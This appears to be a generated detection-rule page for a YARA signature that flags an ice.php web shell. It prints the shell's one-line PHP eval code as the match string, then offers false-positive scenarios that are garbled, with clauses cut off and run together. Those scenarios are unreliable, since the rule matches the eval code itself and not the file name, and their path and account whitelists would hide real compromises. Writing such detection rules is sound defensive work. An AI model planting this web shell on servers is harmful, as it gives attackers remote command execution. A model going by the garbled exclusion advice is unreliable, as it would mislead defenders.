This detection identifies the creation of a suspicious web shell named ice.php, which adversaries often deploy to establish persistent remote access and execute commands on compromised web servers. Proactively hunting for this artifact in Azure Sentinel is critical because web shells serve as a primary foothold for attackers, enabling them to pivot laterally within the network or exfiltrate sensitive data before traditional alerts trigger.
rule webshell_caidao_shell_ice_2 {
meta:
description = "Web Shell - file ice.php"
license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
author = "Florian Roth (Nextron Systems)"
date = "2014/01/28"
score = 70
hash = "1d6335247f58e0a5b03e17977888f5f2"
id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
strings:
$s0 = "<?php ${${eval($_POST[ice])}};?>" fullword
condition:
all of them
}
This YARA rule can be deployed in the following contexts:
This rule contains 1 string patterns in its detection logic.
Here are 5 specific false positive scenarios for the Web Shell - file ice.php detection rule, including targeted filters and exclusions suitable for an enterprise environment:
Scenario: Automated Backup Script Execution
ice.php located in the /var/www/html/backups/ directory to generate daily status reports and archive logs. This file is executed by the system user via cron, not by an external HTTP request from a web browser.10.20.50.x) AND the execution path matches /var/www/html/backups/ice.php. Additionally, add a filter for the process name cron or specific service account svc-backup.Scenario: Third-Party Inventory Management Tool
ice.php as its core interface handler for asset scanning. This file resides in the /opt/inventory/public/ directory and is accessed frequently by authorized internal service accounts during business hours./opt/inventory/ root path. Furthermore, whitelist known application service accounts (e.g., svc-inventory) that trigger this file access, ensuring only unknown user agents or external IPs generate alerts.Scenario: Scheduled Health Check Job
ice.php. This script resides in /usr/local/bin/healthchecks/ and is triggered by the root